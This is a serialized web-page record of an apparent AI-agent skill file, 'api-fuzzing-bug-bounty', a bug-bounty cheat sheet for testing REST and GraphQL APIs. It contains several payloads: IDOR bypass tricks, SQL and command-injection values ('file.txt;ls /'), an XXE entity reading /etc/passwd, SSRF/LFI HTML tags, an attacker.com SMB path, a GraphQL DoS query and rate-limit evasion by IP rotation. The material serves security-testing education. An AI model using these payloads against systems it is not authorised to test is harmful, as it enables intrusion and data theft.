[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71R9N9PX6XVQ5NETW1BGN44":3,"skill-same:01M71R9N9PX6XVQ5NETW1BGN44":79},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":30,"publishedAt":51,"linkOnly":52,"markdownContent":53,"markdownBody":54,"frontMatter":55,"refName":59,"commitSha":60,"skillDirectory":61,"forksCount":13,"repositoryHtmlUrl":62,"repositoryHomepageUrl":6,"ownerHtmlUrl":63,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":64,"install":65,"resources":78},"01M71R9N9PX6XVQ5NETW1BGN44","api-fuzzing-bug-bounty",null,"This skill should be used when the user asks to \"test API security\", \"fuzz APIs\", \"find IDOR vulnerabilities\", \"test REST API\", \"test GraphQL\", \"API penetration testing\", \"bug b...","javiertarazon\u002Fide-agente-free-jt7-","javiertarazon","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F153141207?v=4","01M71R52TB3S9HXKH6WSNT8A7V","01M71R52VG5KS2DKDDH4GDQ30A",0,"MIT","https:\u002F\u002Fgithub.com\u002Fjaviertarazon\u002Fide-agente-free-jt7-\u002Fblob\u002Frelease\u002Fv4.2.11-panel-pro\u002F.github\u002Fskills\u002Fapi-fuzzing-bug-bounty\u002FSKILL.md",[17,22,25],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":26,"categoryName":27,"taxonomyType":28,"taxonomyTypeDesc":29},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50],"api fuzzing bug bounty","bug","bug bounty","fuzzing","api","find","rest api","GraphQL","test","REST","api security","penetration testing","penetration","security","test api","fuzz","unknown","when","testing","community","2026-11-10 13:02:02",false,"---\nname: api-fuzzing-bug-bounty\ndescription: \"This skill should be used when the user asks to \\\"test API security\\\", \\\"fuzz APIs\\\", \\\"find IDOR vulnerabilities\\\", \\\"test REST API\\\", \\\"test GraphQL\\\", \\\"API penetration testing\\\", \\\"bug b...\"\nmetadata:\n  author: zebbern\n  version: \"1.1\"\nrisk: unknown\nsource: community\n---\n\n# API Fuzzing for Bug Bounty\n\n## Purpose\n\nProvide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.\n\n## Inputs\u002FPrerequisites\n\n- Burp Suite or similar proxy tool\n- API wordlists (SecLists, api_wordlist)\n- Understanding of REST\u002FGraphQL\u002FSOAP protocols\n- Python for scripting\n- Target API endpoints and documentation (if available)\n\n## Outputs\u002FDeliverables\n\n- Identified API vulnerabilities\n- IDOR exploitation proofs\n- Authentication bypass techniques\n- SQL injection points\n- Unauthorized data access documentation\n\n---\n\n## API Types Overview\n\n| Type | Protocol | Data Format | Structure |\n|------|----------|-------------|-----------|\n| SOAP | HTTP | XML | Header + Body |\n| REST | HTTP | JSON\u002FXML\u002FURL | Defined endpoints |\n| GraphQL | HTTP | Custom Query | Single endpoint |\n\n---\n\n## Core Workflow\n\n### Step 1: API Reconnaissance\n\nIdentify API type and enumerate endpoints:\n\n```bash\n# Check for Swagger\u002FOpenAPI documentation\n\u002Fswagger.json\n\u002Fopenapi.json\n\u002Fapi-docs\n\u002Fv1\u002Fapi-docs\n\u002Fswagger-ui.html\n\n# Use Kiterunner for API discovery\nkr scan https:\u002F\u002Ftarget.com -w routes-large.kite\n\n# Extract paths from Swagger\npython3 json2paths.py swagger.json\n```\n\n### Step 2: Authentication Testing\n\n```bash\n# Test different login paths\n\u002Fapi\u002Fmobile\u002Flogin\n\u002Fapi\u002Fv3\u002Flogin\n\u002Fapi\u002Fmagic_link\n\u002Fapi\u002Fadmin\u002Flogin\n\n# Check rate limiting on auth endpoints\n# If no rate limit → brute force possible\n\n# Test mobile vs web API separately\n# Don't assume same security controls\n```\n\n### Step 3: IDOR Testing\n\nInsecure Direct Object Reference is the most common API vulnerability:\n\n```bash\n# Basic IDOR\nGET \u002Fapi\u002Fusers\u002F1234 → GET \u002Fapi\u002Fusers\u002F1235\n\n# Even if ID is email-based, try numeric\n\u002F?user_id=111 instead of \u002F?user_id=user@mail.com\n\n# Test \u002Fme\u002Forders vs \u002Fuser\u002F654321\u002Forders\n```\n\n**IDOR Bypass Techniques:**\n\n```bash\n# Wrap ID in array\n{\"id\":111} → {\"id\":[111]}\n\n# JSON wrap\n{\"id\":111} → {\"id\":{\"id\":111}}\n\n# Send ID twice\nURL?id=\u003CLEGIT>&id=\u003CVICTIM>\n\n# Wildcard injection\n{\"user_id\":\"*\"}\n\n# Parameter pollution\n\u002Fapi\u002Fget_profile?user_id=\u003Cvictim>&user_id=\u003Clegit>\n{\"user_id\":\u003Clegit_id>,\"user_id\":\u003Cvictim_id>}\n```\n\n### Step 4: Injection Testing\n\n**SQL Injection in JSON:**\n\n```json\n{\"id\":\"56456\"}                    → OK\n{\"id\":\"56456 AND 1=1#\"}           → OK  \n{\"id\":\"56456 AND 1=2#\"}           → OK\n{\"id\":\"56456 AND 1=3#\"}           → ERROR (vulnerable!)\n{\"id\":\"56456 AND sleep(15)#\"}     → SLEEP 15 SEC\n```\n\n**Command Injection:**\n\n```bash\n# Ruby on Rails\n?url=Kernel#open → ?url=|ls\n\n# Linux command injection\napi.url.com\u002Fendpoint?name=file.txt;ls%20\u002F\n```\n\n**XXE Injection:**\n\n```xml\n\u003C!DOCTYPE test [ \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\"> ]>\n```\n\n**SSRF via API:**\n\n```html\n\u003Cobject data=\"http:\u002F\u002F127.0.0.1:8443\"\u002F>\n\u003Cimg src=\"http:\u002F\u002F127.0.0.1:445\"\u002F>\n```\n\n**.NET Path.Combine Vulnerability:**\n\n```bash\n# If .NET app uses Path.Combine(path_1, path_2)\n# Test for path traversal\nhttps:\u002F\u002Fexample.org\u002Fdownload?filename=a.png\nhttps:\u002F\u002Fexample.org\u002Fdownload?filename=C:\\inetpub\\wwwroot\\web.config\nhttps:\u002F\u002Fexample.org\u002Fdownload?filename=\\\\smb.dns.attacker.com\\a.png\n```\n\n### Step 5: Method Testing\n\n```bash\n# Test all HTTP methods\nGET \u002Fapi\u002Fv1\u002Fusers\u002F1\nPOST \u002Fapi\u002Fv1\u002Fusers\u002F1\nPUT \u002Fapi\u002Fv1\u002Fusers\u002F1\nDELETE \u002Fapi\u002Fv1\u002Fusers\u002F1\nPATCH \u002Fapi\u002Fv1\u002Fusers\u002F1\n\n# Switch content type\nContent-Type: application\u002Fjson → application\u002Fxml\n```\n\n---\n\n## GraphQL-Specific Testing\n\n### Introspection Query\n\nFetch entire backend schema:\n\n```graphql\n{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}\n```\n\n**URL-encoded version:**\n\n```\n\u002Fgraphql?query={__schema{types{name,kind,description,fields{name}}}}\n```\n\n### GraphQL IDOR\n\n```graphql\n# Try accessing other user IDs\nquery {\n  user(id: \"OTHER_USER_ID\") {\n    email\n    password\n    creditCard\n  }\n}\n```\n\n### GraphQL SQL\u002FNoSQL Injection\n\n```graphql\nmutation {\n  login(input: {\n    email: \"test' or 1=1--\"\n    password: \"password\"\n  }) {\n    success\n    jwt\n  }\n}\n```\n\n### Rate Limit Bypass (Batching)\n\n```graphql\nmutation {login(input:{email:\"a@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"b@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"c@example.com\" password:\"password\"}){success jwt}}\n```\n\n### GraphQL DoS (Nested Queries)\n\n```graphql\nquery {\n  posts {\n    comments {\n      user {\n        posts {\n          comments {\n            user {\n              posts { ... }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### GraphQL XSS\n\n```bash\n# XSS via GraphQL endpoint\nhttp:\u002F\u002Ftarget.com\u002Fgraphql?query={user(name:\"\u003Cscript>alert(1)\u003C\u002Fscript>\"){id}}\n\n# URL-encoded XSS\nhttp:\u002F\u002Ftarget.com\u002Fexample?id=%C\u002Fscript%E%Cscript%Ealert('XSS')%C\u002Fscript%E\n```\n\n### GraphQL Tools\n\n| Tool | Purpose |\n|------|---------|\n| GraphCrawler | Schema discovery |\n| graphw00f | Fingerprinting |\n| clairvoyance | Schema reconstruction |\n| InQL | Burp extension |\n| GraphQLmap | Exploitation |\n\n---\n\n## Endpoint Bypass Techniques\n\nWhen receiving 403\u002F401, try these bypasses:\n\n```bash\n# Original blocked request\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata → 403\n\n# Bypass attempts\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata.json\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata?\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata\u002F\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata??\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata%20\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata%09\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata#\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata&details\n\u002Fapi\u002Fv1\u002Fusers\u002F..;\u002Fsensitivedata\n```\n\n---\n\n## Output Exploitation\n\n### PDF Export Attacks\n\n```html\n\u003C!-- LFI via PDF export -->\n\u003Ciframe src=\"file:\u002F\u002F\u002Fetc\u002Fpasswd\" height=1000 width=800>\n\n\u003C!-- SSRF via PDF export -->\n\u003Cobject data=\"http:\u002F\u002F127.0.0.1:8443\"\u002F>\n\n\u003C!-- Port scanning -->\n\u003Cimg src=\"http:\u002F\u002F127.0.0.1:445\"\u002F>\n\n\u003C!-- IP disclosure -->\n\u003Cimg src=\"https:\u002F\u002Fiplogger.com\u002Fyourcode.gif\"\u002F>\n```\n\n### DoS via Limits\n\n```bash\n# Normal request\n\u002Fapi\u002Fnews?limit=100\n\n# DoS attempt\n\u002Fapi\u002Fnews?limit=9999999999\n```\n\n---\n\n## Common API Vulnerabilities Checklist\n\n| Vulnerability | Description |\n|---------------|-------------|\n| API Exposure | Unprotected endpoints exposed publicly |\n| Misconfigured Caching | Sensitive data cached incorrectly |\n| Exposed Tokens | API keys\u002Ftokens in responses or URLs |\n| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |\n| IDOR \u002F BOLA | Broken Object Level Authorization |\n| Undocumented Endpoints | Hidden admin\u002Fdebug endpoints |\n| Different Versions | Security gaps in older API versions |\n| Rate Limiting | Missing or bypassable rate limits |\n| Race Conditions | TOCTOU vulnerabilities |\n| XXE Injection | XML parser exploitation |\n| Content Type Issues | Switching between JSON\u002FXML |\n| HTTP Method Tampering | GET→DELETE\u002FPUT abuse |\n\n---\n\n## Quick Reference\n\n| Vulnerability | Test Payload | Risk |\n|---------------|--------------|------|\n| IDOR | Change user_id parameter | High |\n| SQLi | `' OR 1=1--` in JSON | Critical |\n| Command Injection | `; ls \u002F` | Critical |\n| XXE | DOCTYPE with ENTITY | High |\n| SSRF | Internal IP in params | High |\n| Rate Limit Bypass | Batch requests | Medium |\n| Method Tampering | GET→DELETE | High |\n\n---\n\n## Tools Reference\n\n| Category | Tool | URL |\n|----------|------|-----|\n| API Fuzzing | Fuzzapi | github.com\u002FFuzzapi\u002Ffuzzapi |\n| API Fuzzing | API-fuzzer | github.com\u002FFuzzapi\u002FAPI-fuzzer |\n| API Fuzzing | Astra | github.com\u002Fflipkart-incubator\u002FAstra |\n| API Security | apicheck | github.com\u002FBBVA\u002Fapicheck |\n| API Discovery | Kiterunner | github.com\u002Fassetnote\u002Fkiterunner |\n| API Discovery | openapi_security_scanner | github.com\u002Fngalongc\u002Fopenapi_security_scanner |\n| API Toolkit | APIKit | github.com\u002FAPI-Security\u002FAPIKit |\n| API Keys | API Guesser | api-guesser.netlify.app |\n| GUID | GUID Guesser | gist.github.com\u002FDanaEpp\u002F8c6803e542f094da5c4079622f9b4d18 |\n| GraphQL | InQL | github.com\u002Fdoyensec\u002Finql |\n| GraphQL | GraphCrawler | github.com\u002Fgsmith257-cyber\u002FGraphCrawler |\n| GraphQL | graphw00f | github.com\u002Fdolevf\u002Fgraphw00f |\n| GraphQL | clairvoyance | github.com\u002Fnikitastupin\u002Fclairvoyance |\n| GraphQL | batchql | github.com\u002Fassetnote\u002Fbatchql |\n| GraphQL | graphql-cop | github.com\u002Fdolevf\u002Fgraphql-cop |\n| Wordlists | SecLists | github.com\u002Fdanielmiessler\u002FSecLists |\n| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io\u002FSwagger-EZ |\n| Swagger Routes | swagroutes | github.com\u002Famalmurali47\u002Fswagroutes |\n| API Mindmap | MindAPI | dsopas.github.io\u002FMindAPI\u002Fplay |\n| JSON Paths | json2paths | github.com\u002Fs0md3v\u002Fdump\u002Ftree\u002Fmaster\u002Fjson2paths |\n\n---\n\n## Constraints\n\n**Must:**\n- Test mobile, web, and developer APIs separately\n- Check all API versions (\u002Fv1, \u002Fv2, \u002Fv3)\n- Validate both authenticated and unauthenticated access\n\n**Must Not:**\n- Assume same security controls across API versions\n- Skip testing undocumented endpoints\n- Ignore rate limiting checks\n\n**Should:**\n- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend\n- Check archive.org for historical API endpoints\n- Test for race conditions on sensitive operations\n\n---\n\n## Examples\n\n### Example 1: IDOR Exploitation\n\n```bash\n# Original request (own data)\nGET \u002Fapi\u002Fv1\u002Finvoices\u002F12345\nAuthorization: Bearer \u003Ctoken>\n\n# Modified request (other user's data)\nGET \u002Fapi\u002Fv1\u002Finvoices\u002F12346\nAuthorization: Bearer \u003Ctoken>\n\n# Response reveals other user's invoice data\n```\n\n### Example 2: GraphQL Introspection\n\n```bash\ncurl -X POST https:\u002F\u002Ftarget.com\u002Fgraphql \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{__schema{types{name,fields{name}}}}\"}'\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |\n| 401 on all endpoints | Try adding `?user_id=1` parameter |\n| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |\n| Rate limited | Use IP rotation or batch requests |\n| Can't find endpoints | Check Swagger, archive.org, JS files |\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n","# API Fuzzing for Bug Bounty\n\n## Purpose\n\nProvide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.\n\n## Inputs\u002FPrerequisites\n\n- Burp Suite or similar proxy tool\n- API wordlists (SecLists, api_wordlist)\n- Understanding of REST\u002FGraphQL\u002FSOAP protocols\n- Python for scripting\n- Target API endpoints and documentation (if available)\n\n## Outputs\u002FDeliverables\n\n- Identified API vulnerabilities\n- IDOR exploitation proofs\n- Authentication bypass techniques\n- SQL injection points\n- Unauthorized data access documentation\n\n---\n\n## API Types Overview\n\n| Type | Protocol | Data Format | Structure |\n|------|----------|-------------|-----------|\n| SOAP | HTTP | XML | Header + Body |\n| REST | HTTP | JSON\u002FXML\u002FURL | Defined endpoints |\n| GraphQL | HTTP | Custom Query | Single endpoint |\n\n---\n\n## Core Workflow\n\n### Step 1: API Reconnaissance\n\nIdentify API type and enumerate endpoints:\n\n```bash\n# Check for Swagger\u002FOpenAPI documentation\n\u002Fswagger.json\n\u002Fopenapi.json\n\u002Fapi-docs\n\u002Fv1\u002Fapi-docs\n\u002Fswagger-ui.html\n\n# Use Kiterunner for API discovery\nkr scan https:\u002F\u002Ftarget.com -w routes-large.kite\n\n# Extract paths from Swagger\npython3 json2paths.py swagger.json\n```\n\n### Step 2: Authentication Testing\n\n```bash\n# Test different login paths\n\u002Fapi\u002Fmobile\u002Flogin\n\u002Fapi\u002Fv3\u002Flogin\n\u002Fapi\u002Fmagic_link\n\u002Fapi\u002Fadmin\u002Flogin\n\n# Check rate limiting on auth endpoints\n# If no rate limit → brute force possible\n\n# Test mobile vs web API separately\n# Don't assume same security controls\n```\n\n### Step 3: IDOR Testing\n\nInsecure Direct Object Reference is the most common API vulnerability:\n\n```bash\n# Basic IDOR\nGET \u002Fapi\u002Fusers\u002F1234 → GET \u002Fapi\u002Fusers\u002F1235\n\n# Even if ID is email-based, try numeric\n\u002F?user_id=111 instead of \u002F?user_id=user@mail.com\n\n# Test \u002Fme\u002Forders vs \u002Fuser\u002F654321\u002Forders\n```\n\n**IDOR Bypass Techniques:**\n\n```bash\n# Wrap ID in array\n{\"id\":111} → {\"id\":[111]}\n\n# JSON wrap\n{\"id\":111} → {\"id\":{\"id\":111}}\n\n# Send ID twice\nURL?id=\u003CLEGIT>&id=\u003CVICTIM>\n\n# Wildcard injection\n{\"user_id\":\"*\"}\n\n# Parameter pollution\n\u002Fapi\u002Fget_profile?user_id=\u003Cvictim>&user_id=\u003Clegit>\n{\"user_id\":\u003Clegit_id>,\"user_id\":\u003Cvictim_id>}\n```\n\n### Step 4: Injection Testing\n\n**SQL Injection in JSON:**\n\n```json\n{\"id\":\"56456\"}                    → OK\n{\"id\":\"56456 AND 1=1#\"}           → OK  \n{\"id\":\"56456 AND 1=2#\"}           → OK\n{\"id\":\"56456 AND 1=3#\"}           → ERROR (vulnerable!)\n{\"id\":\"56456 AND sleep(15)#\"}     → SLEEP 15 SEC\n```\n\n**Command Injection:**\n\n```bash\n# Ruby on Rails\n?url=Kernel#open → ?url=|ls\n\n# Linux command injection\napi.url.com\u002Fendpoint?name=file.txt;ls%20\u002F\n```\n\n**XXE Injection:**\n\n```xml\n\u003C!DOCTYPE test [ \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\"> ]>\n```\n\n**SSRF via API:**\n\n```html\n\u003Cobject data=\"http:\u002F\u002F127.0.0.1:8443\"\u002F>\n\u003Cimg src=\"http:\u002F\u002F127.0.0.1:445\"\u002F>\n```\n\n**.NET Path.Combine Vulnerability:**\n\n```bash\n# If .NET app uses Path.Combine(path_1, path_2)\n# Test for path traversal\nhttps:\u002F\u002Fexample.org\u002Fdownload?filename=a.png\nhttps:\u002F\u002Fexample.org\u002Fdownload?filename=C:\\inetpub\\wwwroot\\web.config\nhttps:\u002F\u002Fexample.org\u002Fdownload?filename=\\\\smb.dns.attacker.com\\a.png\n```\n\n### Step 5: Method Testing\n\n```bash\n# Test all HTTP methods\nGET \u002Fapi\u002Fv1\u002Fusers\u002F1\nPOST \u002Fapi\u002Fv1\u002Fusers\u002F1\nPUT \u002Fapi\u002Fv1\u002Fusers\u002F1\nDELETE \u002Fapi\u002Fv1\u002Fusers\u002F1\nPATCH \u002Fapi\u002Fv1\u002Fusers\u002F1\n\n# Switch content type\nContent-Type: application\u002Fjson → application\u002Fxml\n```\n\n---\n\n## GraphQL-Specific Testing\n\n### Introspection Query\n\nFetch entire backend schema:\n\n```graphql\n{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}\n```\n\n**URL-encoded version:**\n\n```\n\u002Fgraphql?query={__schema{types{name,kind,description,fields{name}}}}\n```\n\n### GraphQL IDOR\n\n```graphql\n# Try accessing other user IDs\nquery {\n  user(id: \"OTHER_USER_ID\") {\n    email\n    password\n    creditCard\n  }\n}\n```\n\n### GraphQL SQL\u002FNoSQL Injection\n\n```graphql\nmutation {\n  login(input: {\n    email: \"test' or 1=1--\"\n    password: \"password\"\n  }) {\n    success\n    jwt\n  }\n}\n```\n\n### Rate Limit Bypass (Batching)\n\n```graphql\nmutation {login(input:{email:\"a@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"b@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"c@example.com\" password:\"password\"}){success jwt}}\n```\n\n### GraphQL DoS (Nested Queries)\n\n```graphql\nquery {\n  posts {\n    comments {\n      user {\n        posts {\n          comments {\n            user {\n              posts { ... }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### GraphQL XSS\n\n```bash\n# XSS via GraphQL endpoint\nhttp:\u002F\u002Ftarget.com\u002Fgraphql?query={user(name:\"\u003Cscript>alert(1)\u003C\u002Fscript>\"){id}}\n\n# URL-encoded XSS\nhttp:\u002F\u002Ftarget.com\u002Fexample?id=%C\u002Fscript%E%Cscript%Ealert('XSS')%C\u002Fscript%E\n```\n\n### GraphQL Tools\n\n| Tool | Purpose |\n|------|---------|\n| GraphCrawler | Schema discovery |\n| graphw00f | Fingerprinting |\n| clairvoyance | Schema reconstruction |\n| InQL | Burp extension |\n| GraphQLmap | Exploitation |\n\n---\n\n## Endpoint Bypass Techniques\n\nWhen receiving 403\u002F401, try these bypasses:\n\n```bash\n# Original blocked request\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata → 403\n\n# Bypass attempts\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata.json\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata?\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata\u002F\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata??\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata%20\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata%09\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata#\n\u002Fapi\u002Fv1\u002Fusers\u002Fsensitivedata&details\n\u002Fapi\u002Fv1\u002Fusers\u002F..;\u002Fsensitivedata\n```\n\n---\n\n## Output Exploitation\n\n### PDF Export Attacks\n\n```html\n\u003C!-- LFI via PDF export -->\n\u003Ciframe src=\"file:\u002F\u002F\u002Fetc\u002Fpasswd\" height=1000 width=800>\n\n\u003C!-- SSRF via PDF export -->\n\u003Cobject data=\"http:\u002F\u002F127.0.0.1:8443\"\u002F>\n\n\u003C!-- Port scanning -->\n\u003Cimg src=\"http:\u002F\u002F127.0.0.1:445\"\u002F>\n\n\u003C!-- IP disclosure -->\n\u003Cimg src=\"https:\u002F\u002Fiplogger.com\u002Fyourcode.gif\"\u002F>\n```\n\n### DoS via Limits\n\n```bash\n# Normal request\n\u002Fapi\u002Fnews?limit=100\n\n# DoS attempt\n\u002Fapi\u002Fnews?limit=9999999999\n```\n\n---\n\n## Common API Vulnerabilities Checklist\n\n| Vulnerability | Description |\n|---------------|-------------|\n| API Exposure | Unprotected endpoints exposed publicly |\n| Misconfigured Caching | Sensitive data cached incorrectly |\n| Exposed Tokens | API keys\u002Ftokens in responses or URLs |\n| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |\n| IDOR \u002F BOLA | Broken Object Level Authorization |\n| Undocumented Endpoints | Hidden admin\u002Fdebug endpoints |\n| Different Versions | Security gaps in older API versions |\n| Rate Limiting | Missing or bypassable rate limits |\n| Race Conditions | TOCTOU vulnerabilities |\n| XXE Injection | XML parser exploitation |\n| Content Type Issues | Switching between JSON\u002FXML |\n| HTTP Method Tampering | GET→DELETE\u002FPUT abuse |\n\n---\n\n## Quick Reference\n\n| Vulnerability | Test Payload | Risk |\n|---------------|--------------|------|\n| IDOR | Change user_id parameter | High |\n| SQLi | `' OR 1=1--` in JSON | Critical |\n| Command Injection | `; ls \u002F` | Critical |\n| XXE | DOCTYPE with ENTITY | High |\n| SSRF | Internal IP in params | High |\n| Rate Limit Bypass | Batch requests | Medium |\n| Method Tampering | GET→DELETE | High |\n\n---\n\n## Tools Reference\n\n| Category | Tool | URL |\n|----------|------|-----|\n| API Fuzzing | Fuzzapi | github.com\u002FFuzzapi\u002Ffuzzapi |\n| API Fuzzing | API-fuzzer | github.com\u002FFuzzapi\u002FAPI-fuzzer |\n| API Fuzzing | Astra | github.com\u002Fflipkart-incubator\u002FAstra |\n| API Security | apicheck | github.com\u002FBBVA\u002Fapicheck |\n| API Discovery | Kiterunner | github.com\u002Fassetnote\u002Fkiterunner |\n| API Discovery | openapi_security_scanner | github.com\u002Fngalongc\u002Fopenapi_security_scanner |\n| API Toolkit | APIKit | github.com\u002FAPI-Security\u002FAPIKit |\n| API Keys | API Guesser | api-guesser.netlify.app |\n| GUID | GUID Guesser | gist.github.com\u002FDanaEpp\u002F8c6803e542f094da5c4079622f9b4d18 |\n| GraphQL | InQL | github.com\u002Fdoyensec\u002Finql |\n| GraphQL | GraphCrawler | github.com\u002Fgsmith257-cyber\u002FGraphCrawler |\n| GraphQL | graphw00f | github.com\u002Fdolevf\u002Fgraphw00f |\n| GraphQL | clairvoyance | github.com\u002Fnikitastupin\u002Fclairvoyance |\n| GraphQL | batchql | github.com\u002Fassetnote\u002Fbatchql |\n| GraphQL | graphql-cop | github.com\u002Fdolevf\u002Fgraphql-cop |\n| Wordlists | SecLists | github.com\u002Fdanielmiessler\u002FSecLists |\n| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io\u002FSwagger-EZ |\n| Swagger Routes | swagroutes | github.com\u002Famalmurali47\u002Fswagroutes |\n| API Mindmap | MindAPI | dsopas.github.io\u002FMindAPI\u002Fplay |\n| JSON Paths | json2paths | github.com\u002Fs0md3v\u002Fdump\u002Ftree\u002Fmaster\u002Fjson2paths |\n\n---\n\n## Constraints\n\n**Must:**\n- Test mobile, web, and developer APIs separately\n- Check all API versions (\u002Fv1, \u002Fv2, \u002Fv3)\n- Validate both authenticated and unauthenticated access\n\n**Must Not:**\n- Assume same security controls across API versions\n- Skip testing undocumented endpoints\n- Ignore rate limiting checks\n\n**Should:**\n- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend\n- Check archive.org for historical API endpoints\n- Test for race conditions on sensitive operations\n\n---\n\n## Examples\n\n### Example 1: IDOR Exploitation\n\n```bash\n# Original request (own data)\nGET \u002Fapi\u002Fv1\u002Finvoices\u002F12345\nAuthorization: Bearer \u003Ctoken>\n\n# Modified request (other user's data)\nGET \u002Fapi\u002Fv1\u002Finvoices\u002F12346\nAuthorization: Bearer \u003Ctoken>\n\n# Response reveals other user's invoice data\n```\n\n### Example 2: GraphQL Introspection\n\n```bash\ncurl -X POST https:\u002F\u002Ftarget.com\u002Fgraphql \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\":\"{__schema{types{name,fields{name}}}}\"}'\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |\n| 401 on all endpoints | Try adding `?user_id=1` parameter |\n| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |\n| Rate limited | Use IP rotation or batch requests |\n| Can't find endpoints | Check Swagger, archive.org, JS files |\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n",{"name":5,"risk":47,"source":50,"metadata":56,"description":7},{"author":57,"version":58},"zebbern","1.1","release\u002Fv4.2.11-panel-pro","a92ea02bcf7e2b3dbaf46d49696c29a3cb490d4f",".github\u002Fskills\u002Fapi-fuzzing-bug-bounty","https:\u002F\u002Fgithub.com\u002Fjaviertarazon\u002Fide-agente-free-jt7-","https:\u002F\u002Fgithub.com\u002Fjaviertarazon","2026-07-12 07:10:45",{"source":8,"skillName":5,"commands":66,"prompt":76,"zipAvailable":77},[67,70,73],{"tool":68,"command":69},"npx","npx skills add javiertarazon\u002Fide-agente-free-jt7- --skill api-fuzzing-bug-bounty",{"tool":71,"command":72},"bunx","bunx skills add javiertarazon\u002Fide-agente-free-jt7- --skill api-fuzzing-bug-bounty",{"tool":74,"command":75},"pnpm","pnpm dlx skills add javiertarazon\u002Fide-agente-free-jt7- --skill api-fuzzing-bug-bounty","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fjaviertarazon\u002Fide-agente-free-jt7-\u002Fblob\u002Frelease\u002Fv4.2.11-panel-pro\u002F.github\u002Fskills\u002Fapi-fuzzing-bug-bounty\u002FSKILL.md",true,[],[80,107,134,154,169,191],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":89,"publishedAt":51},"01M71TQ7Q6Z10VWF3C2H5X1KW9","zustand-store-ts","Create Zustand stores with TypeScript, subscribeWithSelector middleware, and proper state\u002Faction separation. Use when building React state management, creating global stores, or implementing reacti...","https:\u002F\u002Fgithub.com\u002Fjaviertarazon\u002Fide-agente-free-jt7-\u002Fblob\u002Frelease\u002Fv4.2.11-panel-pro\u002F.github\u002Fskills\u002Fzustand-store-ts\u002FSKILL.md",[86],{"categoryNo":87,"categoryName":88,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000009","前端开发",[90,91,92,50,93,94,95,96,48,47,97,98,99,100,101,102,103,104,105,106],"zustand","store","zustand store ts","middleware","implementing","use","react state management","react","with","state","create","state 